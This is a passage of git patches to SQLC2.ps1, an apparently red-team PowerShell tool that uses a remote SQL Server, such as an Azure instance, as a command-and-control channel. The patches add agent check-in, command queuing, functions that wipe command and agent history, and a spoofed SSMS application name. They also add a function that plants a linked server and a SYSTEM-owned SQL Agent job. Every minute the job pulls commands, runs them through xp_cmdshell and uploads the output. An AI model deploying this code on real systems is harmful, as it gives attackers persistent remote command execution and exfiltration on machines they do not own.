: 00000000-0000-0000-0000-000000000000 ServerVersion : State : Closed + WorkstationId : Workstation1 Credential : FireInfoMessageEventOnUserErrors : False Site : @@ -139,6 +140,7 @@ Function Get-SQLConnectionObject $EncryptString = "" } + # Check TrustServerCert was provided if($TrustServerCert){ $TrustCertString = ";TrustServerCertificate=Yes" }else{ From e7bf443ef8a7e58126769e037507b8cde0f0edb8 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Sun, 20 May 2018 08:43:29 -0500 Subject: [PATCH 21/27] Updated verbose output. --- scripts/pending/SQLC2.ps1 | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/scripts/pending/SQLC2.ps1 b/scripts/pending/SQLC2.ps1 index 7c2611a..ebe51db 100644 --- a/scripts/pending/SQLC2.ps1 +++ b/scripts/pending/SQLC2.ps1 @@ -774,6 +774,7 @@ Function Install-SQLC2 ( [aid] int IDENTITY(1,1) PRIMARY KEY, [servername]varchar(MAX), + [agentype]varchar(MAX), [lastcheckin]DateTime default (Getdate()), );SELECT name FROM sys.tables WHERE name = 'C2COMMANDS'" @@ -902,7 +903,7 @@ Function Register-SQLC2Agent $Query = " -- checkin as agent IF not Exists (SELECT * FROM dbo.C2Agents WHERE servername = '$env:COMPUTERNAME') - INSERT dbo.C2Agents (servername) VALUES ('$env:COMPUTERNAME') + INSERT dbo.C2Agents (servername,agentype) VALUES ('$env:COMPUTERNAME','PsProcess') ELSE UPDATE dbo.C2Agents SET lastcheckin = (select GETDATE ()) WHERE servername like '$env:COMPUTERNAME'" @@ -910,7 +911,7 @@ Function Register-SQLC2Agent # Execute Query $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose - Write-Verbose "$instance : $env:COMPUTERNAME registered as agent." + Write-Verbose "$instance : $env:COMPUTERNAME agent registered/checked in." } End @@ -1442,7 +1443,7 @@ Function Invoke-SQLC2Command Register-SQLC2Agent -Username $Username -Password $Password -Instance $Instance -Database $Database -SuppressVerbose | Out-Null # Setup query to grab commands - Write-Verbose -Message "$Instance : Send command update to $Instance for command $Cid." + Write-Verbose -Message "$Instance : Send command results to $Instance for command $Cid." $Query = " -- update command request from server UPDATE dbo.C2COMMANDS SET lastupdate = (select GETDATE ()),result = '$CommandResults',status='$CommandStatus',command='$Command' From 88fd2e5c7cce44223d0aaa793b22ac2d0073a069 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Sun, 20 May 2018 13:19:18 -0500 Subject: [PATCH 22/27] Updated SQLC2.ps1 Added functions - Clear-SQLC2Agent - Clear-SQLC2Command --- scripts/pending/SQLC2.ps1 | 259 +++++++++++++++++++++++++++++++++++++- 1 file changed, 258 insertions(+), 1 deletion(-) diff --git a/scripts/pending/SQLC2.ps1 b/scripts/pending/SQLC2.ps1 index ebe51db..2704ea0 100644 --- a/scripts/pending/SQLC2.ps1 +++ b/scripts/pending/SQLC2.ps1 @@ -1199,9 +1199,14 @@ Function Get-SQLC2Command .PARAMETER DAC Connect using Dedicated Admin Connection. .PARAMETER DatabaseName - Database name that contains target table. + Database name that contains target table. + .PARAMETER Execute + Run all of the commands downloaded from the C2 server on the agent system. .EXAMPLE PS C:\> Get-SQLC2Command -Instance "SQLServer1\STANDARDDEV2014" -Database database1 + .EXAMPLE + PS C:\> Get-SQLC2Command -Instance "SQLServer1\STANDARDDEV2014" -Database database1 -Execute + .EXAMPLE PS C:\> Get-SQLC2Command -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1 #> [CmdletBinding()] @@ -1633,3 +1638,255 @@ Function Get-SQLC2Result $TblResults } } + + +# ---------------------------------- +# Clear-SQLC2Command +# ---------------------------------- +# Author: Scott Sutherland +Function Clear-SQLC2Command +{ + <# + .SYNOPSIS + This command clears the command history on the remote c2 SQL Server. + .PARAMETER Username + SQL Server or domain account to authenticate with. + .PARAMETER Password + SQL Server or domain account password to authenticate with. + .PARAMETER Credential + SQL Server credential. + .PARAMETER Instance + SQL Server instance to connection to. + .PARAMETER DAC + Connect using Dedicated Admin Connection. + .PARAMETER DatabaseName + Database name that contains target table. + .PARAMETER ServerName + Server name to clear command history for. + .EXAMPLE + PS C:\> Clear-SQLC2Command -Instance "SQLServer1\STANDARDDEV2014" -Database database1 + .EXAMPLE + PS C:\> Clear-SQLC2Command -Instance "SQLServer1\STANDARDDEV2014" -Database database1 -ServerName Server1 + .EXAMPLE + PS C:\> Clear-SQLC2Command -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1 + #> + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'Windows credentials.')] + [System.Management.Automation.PSCredential] + [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Database containing target C2 table.')] + [string]$Database, + + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Server to clear command history for.')] + [string]$ServerName, + + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + + Begin + { + # Create data tables for output + $TblResults = New-Object -TypeName System.Data.DataTable + + if($ServerName){ + $ServerFilter = "WHERE servername like '$ServerName'" + }else{ + $ServerFilter = "" + } + } + + Process + { + # Parse computer name from the instance + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + + # Default connection to local default instance + if(-not $Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Test connection to instance + $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { + $_.Status -eq 'Accessible' + } + if($TestConnection) + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Success." + Write-Verbose "$instance : Attempting to clear command history from $Instance." + } + } + else + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Failed." + } + return + } + + # Setup query to grab commands + $Query = "DELETE FROM dbo.C2COMMANDS + $ServerFilter" + + # Execute Query + $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose + } + + End + { + Write-Verbose "$instance : Done." + } + } + + +# ---------------------------------- +# Clear-SQLC2Agent +# ---------------------------------- +# Author: Scott Sutherland +Function Clear-SQLC2Agent +{ + <# + .SYNOPSIS + This command clears the agents registered on the remote c2 SQL Server. + .PARAMETER Username + SQL Server or domain account to authenticate with. + .PARAMETER Password + SQL Server or domain account password to authenticate with. + .PARAMETER Credential + SQL Server credential. + .PARAMETER Instance + SQL Server instance to connection to. + .PARAMETER DAC + Connect using Dedicated Admin Connection. + .PARAMETER DatabaseName + Database name that contains target table. + .PARAMETER ServerName + Server name to clear command history for. + .EXAMPLE + PS C:\> Clear-SQLC2Agent -Instance "SQLServer1\STANDARDDEV2014" -Database database1 + .EXAMPLE + PS C:\> Clear-SQLC2Agent -Instance "SQLServer1\STANDARDDEV2014" -Database database1 -ServerName Server1 + .EXAMPLE + PS C:\> Clear-SQLC2Agent -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1 + #> + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'Windows credentials.')] + [System.Management.Automation.PSCredential] + [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Database containing target C2 table.')] + [string]$Database, + + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Server to clear command history for.')] + [string]$ServerName, + + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + + Begin + { + # Create data tables for output + $TblResults = New-Object -TypeName System.Data.DataTable + + if($ServerName){ + $ServerFilter = "WHERE servername like '$ServerName'" + }else{ + $ServerFilter = "" + } + } + + Process + { + # Parse computer name from the instance + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + + # Default connection to local default instance + if(-not $Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Test connection to instance + $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { + $_.Status -eq 'Accessible' + } + if($TestConnection) + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Success." + Write-Verbose "$instance : Attempting to clear agent(s) from $Instance." + } + } + else + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Failed." + } + return + } + + # Setup query to grab commands + $Query = "DELETE FROM dbo.C2AGENTS + $ServerFilter" + + # Execute Query + $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose + } + + End + { + Write-Verbose "$instance : Done." + } + } From f9e66e12472ee8b5d281c1184ee316582bb928e4 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Sun, 20 May 2018 13:26:33 -0500 Subject: [PATCH 23/27] Update SQLC2.ps1 - encrypt connect by default - trustservercertificate by default - application spoofed to "Microsoft SQL Server Management Studio - Query" by default - changed "clear" commands to "remove" commands --- scripts/pending/SQLC2.ps1 | 38 +++++++++++++++++++------------------- 1 file changed, 19 insertions(+), 19 deletions(-) diff --git a/scripts/pending/SQLC2.ps1 b/scripts/pending/SQLC2.ps1 index 2704ea0..1dfb109 100644 --- a/scripts/pending/SQLC2.ps1 +++ b/scripts/pending/SQLC2.ps1 @@ -336,17 +336,17 @@ Function Get-SQLQuery [Parameter(Mandatory = $false, HelpMessage = 'Spoof the name of the application your connecting to the server with.')] - [string]$AppName = "", + [string]$AppName = "Microsoft SQL Server Management Studio - Query", [Parameter(Mandatory = $false, HelpMessage = 'Use an encrypted connection.')] [ValidateSet("Yes","No","")] - [string]$Encrypt = "", + [string]$Encrypt = "Yes", [Parameter(Mandatory = $false, HelpMessage = 'Trust the certificate of the remote server.')] [ValidateSet("Yes","No","")] - [string]$TrustServerCert = "", + [string]$TrustServerCert = "Yes", [Parameter(Mandatory = $false, HelpMessage = 'Return error message if exists.')] @@ -629,7 +629,7 @@ Function Get-ComputerNameFromInstance # Install-SQLC2 # ---------------------------------- # Author: Scott Sutherland -Function Install-SQLC2 +Function Install-SQLC2Server { <# .SYNOPSIS @@ -1312,7 +1312,7 @@ Function Get-SQLC2Command $C2Command = $_.command # Execute command - Invoke-SQLC2Command -Username $Username -Password $Password -Instance $Instance -Database $Database -Verbose -Command $C2Command -Cid $C2CommandId + Create-SQLC2Command -Username $Username -Password $Password -Instance $Instance -Database $Database -Verbose -Command $C2Command -Cid $C2CommandId } }else{ @@ -1324,10 +1324,10 @@ Function Get-SQLC2Command # ---------------------------------- -# Invoke-SQLC2Command +# Create-SQLC2Command # ---------------------------------- # Author: Scott Sutherland -Function Invoke-SQLC2Command +Function Create-SQLC2Command { <# .SYNOPSIS @@ -1348,8 +1348,8 @@ Function Invoke-SQLC2Command .PARAMETER Command The OS command to run. .EXAMPLE - PS C:\> Invoke-SQLC2Command -Instance "SQLServer1\STANDARDDEV2014" -Database database1 - PS C:\> Invoke-SQLC2Command -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1 + PS C:\> Create-SQLC2Command -Instance "SQLServer1\STANDARDDEV2014" -Database database1 + PS C:\> Create-SQLC2Command -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1 #> [CmdletBinding()] Param( @@ -1641,10 +1641,10 @@ Function Get-SQLC2Result # ---------------------------------- -# Clear-SQLC2Command +# Remove-SQLC2Command # ---------------------------------- # Author: Scott Sutherland -Function Clear-SQLC2Command +Function Remove-SQLC2Command { <# .SYNOPSIS @@ -1664,11 +1664,11 @@ Function Clear-SQLC2Command .PARAMETER ServerName Server name to clear command history for. .EXAMPLE - PS C:\> Clear-SQLC2Command -Instance "SQLServer1\STANDARDDEV2014" -Database database1 + PS C:\> Remove-SQLC2Command -Instance "SQLServer1\STANDARDDEV2014" -Database database1 .EXAMPLE - PS C:\> Clear-SQLC2Command -Instance "SQLServer1\STANDARDDEV2014" -Database database1 -ServerName Server1 + PS C:\> Remove-SQLC2Command -Instance "SQLServer1\STANDARDDEV2014" -Database database1 -ServerName Server1 .EXAMPLE - PS C:\> Clear-SQLC2Command -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1 + PS C:\> Remove-SQLC2Command -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1 #> [CmdletBinding()] Param( @@ -1767,10 +1767,10 @@ Function Clear-SQLC2Command # ---------------------------------- -# Clear-SQLC2Agent +# Remove-SQLC2Agent # ---------------------------------- # Author: Scott Sutherland -Function Clear-SQLC2Agent +Function Remove-SQLC2Agent { <# .SYNOPSIS @@ -1790,11 +1790,11 @@ Function Clear-SQLC2Agent .PARAMETER ServerName Server name to clear command history for. .EXAMPLE - PS C:\> Clear-SQLC2Agent -Instance "SQLServer1\STANDARDDEV2014" -Database database1 + PS C:\> Remove-SQLC2Agent -Instance "SQLServer1\STANDARDDEV2014" -Database database1 .EXAMPLE - PS C:\> Clear-SQLC2Agent -Instance "SQLServer1\STANDARDDEV2014" -Database database1 -ServerName Server1 + PS C:\> Remove-SQLC2Agent -Instance "SQLServer1\STANDARDDEV2014" -Database database1 -ServerName Server1 .EXAMPLE - PS C:\> Clear-SQLC2Agent -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1 + PS C:\> Remove-SQLC2Agent -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1 #> [CmdletBinding()] Param( From 7157d45216269aa60af9b0e7e644363f8a88f197 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Mon, 21 May 2018 13:51:16 -0500 Subject: [PATCH 24/27] Update SQLC2.ps1 Added Install-SQLC2AgentLink This function adds a server link from an internal SQL Server to the C2 SQL Server, then it creates an agent job that runs every minute to download commands, execute commands, and upload results to the C2 SQL Server. --- scripts/pending/SQLC2.ps1 | 359 ++++++++++++++++++++++++++++++++++++-- 1 file changed, 340 insertions(+), 19 deletions(-) diff --git a/scripts/pending/SQLC2.ps1 b/scripts/pending/SQLC2.ps1 index 1dfb109..3746bb2 100644 --- a/scripts/pending/SQLC2.ps1 +++ b/scripts/pending/SQLC2.ps1 @@ -28,7 +28,7 @@ Install C2 tables in remote SQL Server instance. You will need to provide an database that you have the ability to create tables in, or create a new at database. However, in Azure I've been getting some timeouts which is why you should have already created the target database through Azure. Example command: - Install-SQLC2 -Username CloudAdmin -Password 'CloudPassword!' -Instance sqlcloudc2.database.windows.net -Database database1 -Verbose + Install-SQLC2Server -Username CloudAdmin -Password 'CloudPassword!' -Instance sqlcloudc2.database.windows.net -Database database1 -Verbose 2. Setup OS command. @@ -48,12 +48,16 @@ Get-SQLC2Agent -Username CloudAdmin -Password 'CloudPassword!' -Instance sqlcloudc2.database.windows.net -Database database1 -Verbose - 3. Execute queued commands. + 5. Execute queued commands via PS. This can be scheduled via a WMI subscription or schedule task. The command below will query the SQLC2 server for a list of commands queued for the agent to execute. Including the -Execute flag will automatically run them. This command could be used in combination with your prefered persistence method such as a scheduled task. Example command: Get-SQLC2Command -Username CloudAdmin -Password 'CloudPassword!' -Instance sqlcloudc2.database.windows.net -Database database1 -Verbose -Execute + + 5. Execute queued commands via SQL Server link and agent job. This allows you to use an internal SQL Server as your agent. This requires sysadmin privileges on the internal SQL Server. + + Install-SQLC2AgentLink -Instance 'InternalSQLServer1\SQLSERVER2014' -C2Username 'CloudAdmin' -C2Password 'CloudPassword!' -C2Instance sqlcloudc2.database.windows.net -C2Database database1 -Verbose 6. View command results. @@ -626,7 +630,7 @@ Function Get-ComputerNameFromInstance # ---------------------------------- -# Install-SQLC2 +# Install-SQLC2Server # ---------------------------------- # Author: Scott Sutherland Function Install-SQLC2Server @@ -648,8 +652,8 @@ Function Install-SQLC2Server .PARAMETER DatabaseName Database name that contains target table. .EXAMPLE - PS C:\> Install-SQLC2 -Instance "SQLServer1\STANDARDDEV2014" -Database database1 - PS C:\> Install-SQLC2 -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1 + PS C:\> Install-SQLC2Server -Instance "SQLServer1\STANDARDDEV2014" -Database database1 + PS C:\> Install-SQLC2Server -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1 #> [CmdletBinding()] Param( @@ -797,6 +801,337 @@ Function Install-SQLC2Server } } +# ---------------------------------- +# Install-SQLC2AgentLink - In Progress +# ---------------------------------- +# Author: Scott Sutherland +Function Install-SQLC2AgentLink +{ + <# + .SYNOPSIS + This functions installs a C2 Agent on the target SQL Server by creating a server link + to the C2 SQL Server, then it creates a TSQL SQL Agent job that uses the link to download + commands from the C2 server and executes them. By default is execute OS command using xp_cmdshell. + This requires sysadmin privileges on the target server. + .PARAMETER Username + SQL Server or domain account to authenticate with. + .PARAMETER Password + SQL Server or domain account password to authenticate with. + .PARAMETER Instance + SQL Server instance to connection to. + .PARAMETER C2Username + SQL Server or domain account to authenticate with. + .PARAMETER C2Password + SQL Server or domain account password to authenticate with. + .PARAMETER C2Instance + SQL Server C2 instance to connection to. + .PARAMETER C2DatabaseName + Database name that contains target table on C2. + .EXAMPLE + Connecting using current Windows credentials. + PS C:\> Install-SQLC2AgentLink -Instance "SQLServer1\STANDARDDEV2014" -C2Instance cloudserver1.database.windows.net -C2Username user -C2Password password -C2Database database1 + .EXAMPLE + Connecting using sa SQL server login. + PS C:\> Install-SQLC2AgentLink -Instance "SQLServer1\STANDARDDEV2014" -Username sa -Pasword password! -C2Instance cloudserver1.database.windows.net -C2Username user -C2Password password -C2Database database1 + #> + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'Windows credentials.')] + [System.Management.Automation.PSCredential] + [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'C2 SQL Server instance to connection to.')] + [string]$C2Instance, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server login or domain account to the authenticate to the C2 SQL Server with.')] + [string]$C2Username, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server login domain account password to authenticate to the C2 SQL Server with.')] + [string]$C2Password, + + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Database containing target C2 table on C2 SQL Server.')] + [string]$C2Database, + + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + + Begin + { + # Create data tables for output + $TblResults = New-Object -TypeName System.Data.DataTable + } + + Process + { + # Parse computer name from the instance + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + + # Default connection to local default instance + if(-not $Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Test connection to instance + $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { + $_.Status -eq 'Accessible' + } + + # Test connection + if($TestConnection) + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Success." + } + } + else + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Failed." + } + return + } + + # ---------------------------- + # Create SQL Server link + # ---------------------------- + + # Generate random name for server link - needs to be random + $RandomLink = "SQLC2Server" + + # Create SQL Server link query + $Query = " + -- Create Server Link C2 Server + IF (SELECT count(*) FROM master..sysservers WHERE srvname = '$RandomLink') = 0 + EXEC master.dbo.sp_addlinkedserver @server = N'$RandomLink', + @srvproduct=N'', + @provider=N'SQLNCLI', + @datasrc=N'$C2Instance', + @catalog=N'$C2Database' + + -- Associate credentials with the server link + IF (SELECT count(*) FROM master..sysservers WHERE srvname = '$RandomLink') = 1 + EXEC master.dbo.sp_addlinkedsrvlogin @rmtsrvname=N'$RandomLink', + @useself=N'False', + @locallogin=NULL, + @rmtuser=N'$C2Username', + @rmtpassword='$C2Password' + + -- Configure the server link + IF (SELECT count(*) FROM master..sysservers WHERE srvname = '$RandomLink') = 1 + EXEC master.dbo.sp_serveroption @server=N'$RandomLink', @optname=N'data access', @optvalue=N'true' + + --IF (SELECT count(*) FROM master..sysservers WHERE srvname = '$RandomLink') = 1 + EXEC master.dbo.sp_serveroption @server=N'$RandomLink', @optname=N'rpc', @optvalue=N'true' + + --IF (SELECT count(*) FROM master..sysservers WHERE srvname = '$RandomLink') = 1 + EXEC master.dbo.sp_serveroption @server=N'$RandomLink', @optname=N'rpc out', @optvalue=N'true' + + -- Verify addition of link + IF (SELECT count(*) FROM master..sysservers WHERE srvname = '$RandomLink') = 1 + SELECT 1 + ELSE + SELECT 0 + " + + # Run Query + Write-Verbose "$instance : Creating server link named '$RandomLink' as $C2Username to $C2Instance " + $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -TimeOut 300 + + # Verify link addition + if(($TblResults | Select Column1 -ExpandProperty Column1) -eq 1) + { + Write-Verbose "$instance : Confirmed server link named $RandomLink was added." + }else{ + Write-Verbose "$instance : The server link could not be created." + return + } + + # ------------------------------- + # Create SQL Server Agent Job + # ------------------------------- + + # Generate random name for the SQL Agent Job + Write-Verbose "$instance : Creating SQL Agent Job on $Instance." + Write-Verbose "$instance : The agent will beacon to $C2Instance every minute." + + # Create SQL Server agent job + $Query = " + + /****** Object: Job [SQLC2 Agent Job] Script Date: 5/21/2018 12:23:40 PM ******/ + BEGIN TRANSACTION + DECLARE @ReturnCode INT + SELECT @ReturnCode = 0 + /****** Object: JobCategory [[Uncategorized (Local)]] Script Date: 5/21/2018 12:23:40 PM ******/ + IF NOT EXISTS (SELECT name FROM msdb.dbo.syscategories WHERE name=N'[Uncategorized (Local)]' AND category_class=1) + BEGIN + EXEC @ReturnCode = msdb.dbo.sp_add_category @class=N'JOB', @type=N'LOCAL', @name=N'[Uncategorized (Local)]' + IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback + + END + + DECLARE @jobId BINARY(16) + EXEC @ReturnCode = msdb.dbo.sp_add_job @job_name=N'SQLC2 Agent Job', + @enabled=1, + @notify_level_eventlog=0, + @notify_level_email=0, + @notify_level_netsend=0, + @notify_level_page=0, + @delete_level=0, + @description=N'No description available.', + @category_name=N'[Uncategorized (Local)]', + @owner_login_name=N'NT AUTHORITY\SYSTEM', @job_id = @jobId OUTPUT + IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback + /****** Object: Step [Run command] Script Date: 5/21/2018 12:23:40 PM ******/ + EXEC @ReturnCode = msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'Run command', + @step_id=1, + @cmdexec_success_code=0, + @on_success_action=1, + @on_success_step_id=0, + @on_fail_action=2, + @on_fail_step_id=0, + @retry_attempts=0, + @retry_interval=0, + @os_run_priority=0, @subsystem=N'TSQL', + @command=N' + + -- Query server link - Register the agent + IF not Exists (SELECT * FROM [$RandomLink].database1.dbo.C2Agents WHERE servername = (select @@SERVERNAME)) + INSERT [$RandomLink].database1.dbo.C2Agents (servername,agentype) VALUES ((select @@SERVERNAME),''ServerLink'') + ELSE + UPDATE [$RandomLink].database1.dbo.C2Agents SET lastcheckin = (select GETDATE ()) + WHERE servername like (select @@SERVERNAME) + + -- Get the pending commands for this server from the C2 SQL Server + DECLARE @output TABLE (cid int,servername varchar(8000),command varchar(8000)) + INSERT @output (cid,servername,command) SELECT cid,servername,command FROM [$RandomLink].database1.dbo.C2Commands WHERE status like ''pending'' and servername like @@servername + + -- Run all the command for this server + WHILE (SELECT count(*) FROM @output) > 0 + BEGIN + + -- Setup variables + DECLARE @CurrentCid varchar (8000) -- current cid + DECLARE @CurrentCmd varchar (8000) -- current command + DECLARE @xpoutput TABLE ([rid] int IDENTITY(1,1) PRIMARY KEY,result varchar(max)) -- xp_cmdshell output table + DECLARE @result varchar(8000) -- xp_cmdshell output value + + -- Get first command in the list - need to add cid + SELECT @CurrentCid = (SELECT TOP 1 cid FROM @output) + SELECT @CurrentCid as cid + SELECT @CurrentCmd = (SELECT TOP 1 command FROM @output) + SELECT @CurrentCmd as command + + -- Run the command - not command output break when multiline - need fix, and add cid + INSERT @xpoutput (result) exec master..xp_cmdshell @CurrentCmd + SET @result = (select top 1 result from @xpoutput) + select @result as result + + -- Upload results to C2 SQL Server - need to add cid + Update [$RandomLink].database1.dbo.C2Commands set result = @result, status=''success'' + WHERE servername like @@SERVERNAME and cid like @CurrentCid + + -- Clear the command result history + DELETE FROM @xpoutput + + -- Remove first command + DELETE TOP (1) FROM @output + END', + @database_name=N'master', + @flags=0 + IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback + EXEC @ReturnCode = msdb.dbo.sp_update_job @job_id = @jobId, @start_step_id = 1 + IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback + EXEC @ReturnCode = msdb.dbo.sp_add_jobschedule @job_id=@jobId, @name=N'SQLC2 Agent Schedule', + @enabled=1, + @freq_type=4, + @freq_interval=1, + @freq_subday_type=4, + @freq_subday_interval=1, + @freq_relative_interval=0, + @freq_recurrence_factor=0, + @active_start_date=20180521, + @active_end_date=99991231, + @active_start_time=0, + @active_end_time=235959, + @schedule_uid=N'9eb66fdb-70d6-4ccf-8b60-a97431487e88' + IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback + EXEC @ReturnCode = msdb.dbo.sp_add_jobserver @job_id = @jobId, @server_name = N'(local)' + IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback + COMMIT TRANSACTION + GOTO EndSave + QuitWithRollback: + IF (@@TRANCOUNT > 0) ROLLBACK TRANSACTION + EndSave: + + -- Script: Get-AgentJob.sql + -- Description: Return a list of agent jobs. + -- Reference: https://msdn.microsoft.com/en-us/library/ms189817.aspx + + SELECT SUSER_SNAME(owner_sid) as [JOB_OWNER], + job.job_id as [JOB_ID], + name as [JOB_NAME], + description as [JOB_DESCRIPTION], + step_name, + command, + enabled, + server, + database_name, + date_created + FROM [msdb].[dbo].[sysjobs] job + INNER JOIN [msdb].[dbo].[sysjobsteps] steps + ON job.job_id = steps.job_id + WHERE name like 'SQLC2 Agent Job' + ORDER BY JOB_OWNER,JOB_NAME" + + # Run Query + $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database 'msdb' -SuppressVerbose -TimeOut 300 + + # Verify job was added + if(($TblResults | Measure-Object | select count -ExpandProperty count) -eq 1) + { + Write-Verbose "$instance : Confirmed the job named 'SQLC2 Agent Job' was added." + }else{ + Write-Verbose "$instance : The agent job could not be created or already exists." + Write-Verbose "$instance : You will have to remove the SQL Server link 'SQLC2Server." + return + } + + Write-Verbose "$instance : Done." + } + + End + { + # Return data + # $TblResults + } +} + # ---------------------------------- # Register-SQLC2Agent @@ -815,8 +1150,6 @@ Function Register-SQLC2Agent SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. - .PARAMETER DAC - Connect using Dedicated Admin Connection. .PARAMETER DatabaseName Database name that contains target table. .PARAMETER Table @@ -939,8 +1272,6 @@ Function Get-SQLC2Agent SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. - .PARAMETER DAC - Connect using Dedicated Admin Connection. .PARAMETER DatabaseName Database name that contains target table. .PARAMETER Table @@ -1055,8 +1386,6 @@ Function Set-SQLC2Command SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. - .PARAMETER DAC - Connect using Dedicated Admin Connection. .PARAMETER DatabaseName Database name that contains target table. .PARAMETER ServerName @@ -1196,8 +1525,6 @@ Function Get-SQLC2Command SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. - .PARAMETER DAC - Connect using Dedicated Admin Connection. .PARAMETER DatabaseName Database name that contains target table. .PARAMETER Execute @@ -1341,8 +1668,6 @@ Function Create-SQLC2Command SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. - .PARAMETER DAC - Connect using Dedicated Admin Connection. .PARAMETER DatabaseName Database name that contains target table. .PARAMETER Command @@ -1488,8 +1813,6 @@ Function Get-SQLC2Result SQL Server credential. 